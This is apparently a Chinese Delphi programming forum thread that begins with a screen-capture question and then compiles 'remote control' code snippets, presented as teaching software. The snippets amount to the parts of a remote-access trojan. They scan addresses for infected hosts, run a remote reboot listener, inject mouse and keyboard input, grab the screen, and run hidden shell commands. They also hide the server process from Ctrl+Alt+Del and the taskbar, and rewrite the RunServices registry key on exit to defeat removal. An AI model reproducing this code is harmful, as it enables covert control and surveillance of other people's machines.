关于抓屏的例子看看吧
procedure TForm1.Button1Click(Sender: TObject);
var
  SDC:HDC;
begin
  SDC:=CreateDC('DISPLAY',nil,nil,nil);
  Image1.Width:=800;
  Image1.Height:=600;  BitBlt(Image1.Canvas.Handle,strtoint(Edit1.Text),Strtoint(edit2.text),
         strtoint(edit3.text),strtoint(edit4.text),SDC,0,0,SRCCOPY);  Image1.Refresh;
  DeleteDC(SDC);
end;

解决方案 »

  1.   

    远程控制编程揭密
     
    将远程控制应用于教学中,已成为目前计算机化教学的重要手段。一定有很多的网虫想了解
    这种网络教学方式的编程原理吧。在此我们就以一个简单的远程控制程序作为示例,说明这
    种网络编程的基本原理。本程序以Delphi编程为例。 
      其实该程序的工作机制很简单,受控方运行一个程序,用于侦听端口并接收数据包,而
    主控方通过端口给受控方的端口发送数据包。根据这个原理,我们编写两个程序,一个是控
    制方的,而另一个是受控方的,把这两个程序运行在两台不同的机器上,受控机等待控制机
    发送过来的数据然后执行相应的操作(如本例中的重启)。 
      Delphi中有两类控件可以实现上面的目的。一类是控制方使用ClientSocket,受控方
    使用ServerSocket(均在Internet页),另一类是双方都使用NMUDP(在FastNet页)。我们
    知道网络传输都是不可靠的,也就是说传输的数据有可能丢失,而这两类控件的区别是前者
    使用TCP(Transfer Control Protocol,传输控制协议)。TCP协议是面向连接,每次双方
    建立连接(或断开)时需经过三次握手,较为耗时,但数据传输可靠;而后者使用UDP(User 
    Datagram Protocol,用户报文协议),它是面向无连接的,发出数据不需对方确认,这样
    速度比TCP快,但数据有可能丢失,因此它不可靠。由于控制所需传送的数据量不大,而且需
    要较高的可靠性,因此一般使用前者,程序说明如下: 
      第一步,开始控制方程序,在其中加入clientsocket控件,取名control,设置host属
    性为受控机ip地址,port属性为1234(端口可以随便设置,但不要与一些默认端口重复,如80等)。 
      第二步,在FormCreate事件中加入代码control.open; //打开与受控机的通信 
      第三步,加入个Button,设置caption为“重新启动”,并在ButtonClick事件中加入
    代码control.Socket.SendText('reboot');//通知受控机重新启动。这样就完成了控制
    方的工作了。 
      第四步,开始受控方的程序,在其中加入serversocket控件,取名undercontrol,设置
    port属性为1234(与控制方的端口一致),active属性为true; 
      第五步,在undercontrol的OnclientRead事件中加入代码if Socket.ReceiveText=
    'reboot' then 
      ExitWindowsEx(EWX_REBOOT,2); //重启的API函数 
      这样就完成了代码的工作,然后编译这两个程序生成两个.exe文件分别放在两台机器上运行
    (记得先运行Win98下的受控机程序),在控制机按下“重新启动”的Button(按钮),受控机就重
    新启动了。远程控制机器重启成功实现。 
      由于篇幅的限制,以上忽略了很多细节的东西(如出错处理),而且只能完成远程控制的一种
    功能,有兴趣者可在此基础上完善,可实现网络软件管理中的其它功能,如鼠标、键盘锁定、关
    机、抓取屏幕、文件操作、视频传输等,在此就不多介绍了,有兴趣者可以上网多查看些这方面
    的资料。 远程控制篇:测试IP地址使用 i:=1 to 254 do begin...end即可自动搜索地址
    要知道这个IP地址是否中镖,可向它发一个字符串。如果接收到这个IP返回来的预定的字符串,
    如发出"我是长江",返回"我是黄河",就可以控制这个IP地址了{uses winsock}
    function testip(IP:string):string;
    var
      WSAData:TWSADATA;
      Addr:DWORD;
    begin
      WSAStartup(2, WSAData);
      Addr:=inet_addr(PChar(IP));
      if gethostbyaddr(@Addr,sizeof(Addr),PF_INET)=nil then
        result:=''
      else   result:=ip;
      WSACleanup();
    end; 
    远程控制篇:模拟按键模拟鼠标
    鼠标移动(移动量dx,dy)
    mouse_event(MOUSEEVENTF_MOVE,dx,dy,0, 0 );
    鼠标在(x,y)处按下或释放
    setcursorpos(x,y);
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 );
    mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0 );
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 );
    mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0 );
    鼠标双击由两次按下与释放来模拟键盘模拟
    一般虚拟键值(VK_)由KeyDown或keyup事件得到
    特殊键值
    Tab--9
    Shift--16
    Ctrl--17
    Alt--18
    CapsLock--20
    Esc--27
    Win--91,92
    NumLock--144
    ScrollLock--145按下键
    keybd_event(key, MapVirtualKey(key, 0 ), KEYEVENTF_KEYUP , 0 );
    释放键
    keybd_event(key, MapVirtualKey(key, 0 ), 0 , 0 );
    以上做法对大多数键有效,少数键要用到不同的值远程控制篇:抓取远程屏幕图像{抓屏幕图像,保存为内存流--BMP流,压缩BMP流,JPG流,以及使用流}
    {在网络中传送BMP流和JPG流的速度没测试过}
    {BMP流的压缩是无损压缩}
    {
    全局变量
    memoryStream:TMemoryStream;
    memoryStream:=TMemoryStream.create;
    }var
    image:Timage;
    jpgstream:TJPEGImage;
    ss:tcanvas;begin
    ss:=tcanvas.Create;
    ss.Handle:=getdc(0);
    image:=timage.Create(self);
    image.width:=Screen.width;
    image.Height:=screen.Height ;
    image.picture.bitmap.PixelFormat:= pf16bit;
    bitblt(image.canvas.handle,0,0,image.width,image.height,ss.handle,0,0,srccopy);{大大的原始BMP流
    image.picture.bitmap.SaveToStream(memoryStream);
    }{无损压缩BMP流  uses Zlib.pas
    {先定义变量count,DestStream,SourceStream}
    image.picture.bitmap.SaveToStream(memoryStream);
    Count:=memoryStream.Size;
    DestStream:=TMemoryStream.Create;
    {压缩方式:clnone,clfastest,cldefault,clmax}
    SourceStream:=TCompressionStream.Create(cldefault, DestStream);
    try
    memoryStream.SaveToStream(SourceStream);
    SourceStream.Free;
    memoryStream.Clear;
    memoryStream.WriteBuffer(Count, SizeOf(Count));
    memoryStream.CopyFrom(DestStream, 0);
    finally
    DestStream.Free;
    end;
    }{JPG流  uses jpeg
    jpgstream:= TJPEGImage.Create;
    jpgstream.Assign(image.picture.bitmap);
    jpgstream.CompressionQuality:=50; {压缩质量}
    jpgstream.Compress;
    jpgstream.SaveToStream(memoryStream);{保存为JPG流}
    jpgstream.free;
    }ReleaseDC(0,ss.Handle);
    image.free;{发送内存流...}-----------------------------------------------------
    {接收内存流...}{使用BMP流
    image.Picture.Bitmap.LoadFromStream(bmpStream);}{还原压缩的BMP流  uses:Zlib.pas
    先定义变量count,buffer,DestStream,SourceStream
    memoryStream是压缩的BMP流
    memoryStream.ReadBuffer(Count, SizeOf(Count));
    GetMem(Buffer, Count);
    DestStream:=TMemoryStream.Create;
    SourceStream:=TDecompressionStream.Create(memoryStream);
    Try
    SourceStream.ReadBuffer(Buffer^, Count);
      DestStream.WriteBuffer(Buffer^, Count);
      DestStream.Position:=0;
      image.Picture.Bitmap.LoadFromStream(DestStream);
    finally
    FreeMem(Buffer);
    DestStream.Free;
    end;
    }使用JPG流 image.Picture.Assign(jpgstream);远程控制篇:获得网络邻居所有机器名procedure TForm1.Button1Click(Sender: TObject);
    VAR
        command:string ;
        comline: pchar  ;
    begin
    command:='COMMAND.COM /C net view>c:\~~~.txt';
    comline:=pchar(command);
    WinExec(comline, sw_hide);
    timer1.Enabled:=true;
    end;每秒试一次
    procedure TForm1.Timer1Timer(Sender: TObject);
    var f:tstringlist;
        ll,ii:integer;
        s1,s:string;
        b:bool;
    begin
    f:=tstringlist.Create;
    try
      f.LoadFromFile('c:\~~~.txt');
    except
    end;
    if  f.Count>10 then begin
    memo1.Clear;
    memo1.lines.add(f.text); 
    timer1.Enabled:=false;
    f.Free;
    {去掉多余的行和'\\'}
      for ll:=memo1.lines.count-1 downto 0 do begin
         if strpos(pchar(memo1.lines.strings[ll]),'\\')=nil then
           memo1.lines.delete(ll)
         else
           memo1.lines.Strings[ll]:=delxxx(memo1.lines.Strings[ll]);
            {自编1个去'\\'的函数}
      end;
    timer1.enabled:=False;
    end;远程控制篇:通过机器名得到IP地址function procedure TForm1.nametoip(name:string):string;
    var
      WSAData: TWSAData;
      HostEnt: PHostEnt;
    begin
      result:='';
      WSAStartup(2, WSAData);
      HostEnt := gethostbyname(PChar(name));
      if HostEnt <> nil then
      begin
        with HostEnt^ do
         result:= Format('%d.%d.%d.%d', [Byte(h_addr^[0]), Byte(h_addr^[1]), Byte(h_addr^[2]), Byte(h_addr^[3])]);
        end;
        WSACleanup;
    end;通过IP地址得到机器名function iptoname(ip:string):string;
    var
      WSAData:TWSAData;
      p:PHostEnt;
      InetAddr:dword;
    begin
      WSAStartup(2, WSAData);
      InetAddr:= inet_addr(PChar(IP));
    try
       p:=GetHostByAddr(@InetAddr, Length(IP), PF_Inet);
       result:=p^.h_name;
      except
       result:='';
      end;
    end;远程控制篇:服务端程序的隐藏1 按ctrl+alt+del时不出现在关闭程序框
    function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord;
    stdcall; external 'KERNEL32.DLL';
    不出现
    RegisterServiceProcess(GetCurrentProcessID, RSPSIMPLESERVICE);
    出现
    RegisterServiceProcess(GetCurrentProcessID, RSPUNREGISTERSERVICE);2 程序的图标不出现在任务栏
    在Application.Initialize;后加上
      Application.ShowMainForm:=False;以上做法在WIN2000下是无效的。
    编程软件如VC,DELPHI中都带有进程查看工具。
    1
    服务端关机时的处理一般这类程序在运行时,当进行关机操作,其它程序都被关掉了,只有它们不为所动。所以必须对
    关机消息进行处理。procedure exitwin(var msg:TWMQUERYENDSESSION);message WM_QUERYENDSESSION;
    procedure TServer.exitwin(var msg: TWMQUERYENDSESSION);
    begin
    inherited;
    server.Close;
    end;程序退出时写注册表,防止用regedit或msconfig把服务端程序从注册表中去。这样regedit或msconfig所作的工作白费,除非立即关电源
    procedure TServer.FormDestroy(Sender: TObject);
    var
      reg:Tregistry;
      s:string;
    begin
    s:=application.ExeName;
    reg:=Tregistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
      Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices',True);
      Reg.WriteString(...);
      reg.free;
    end;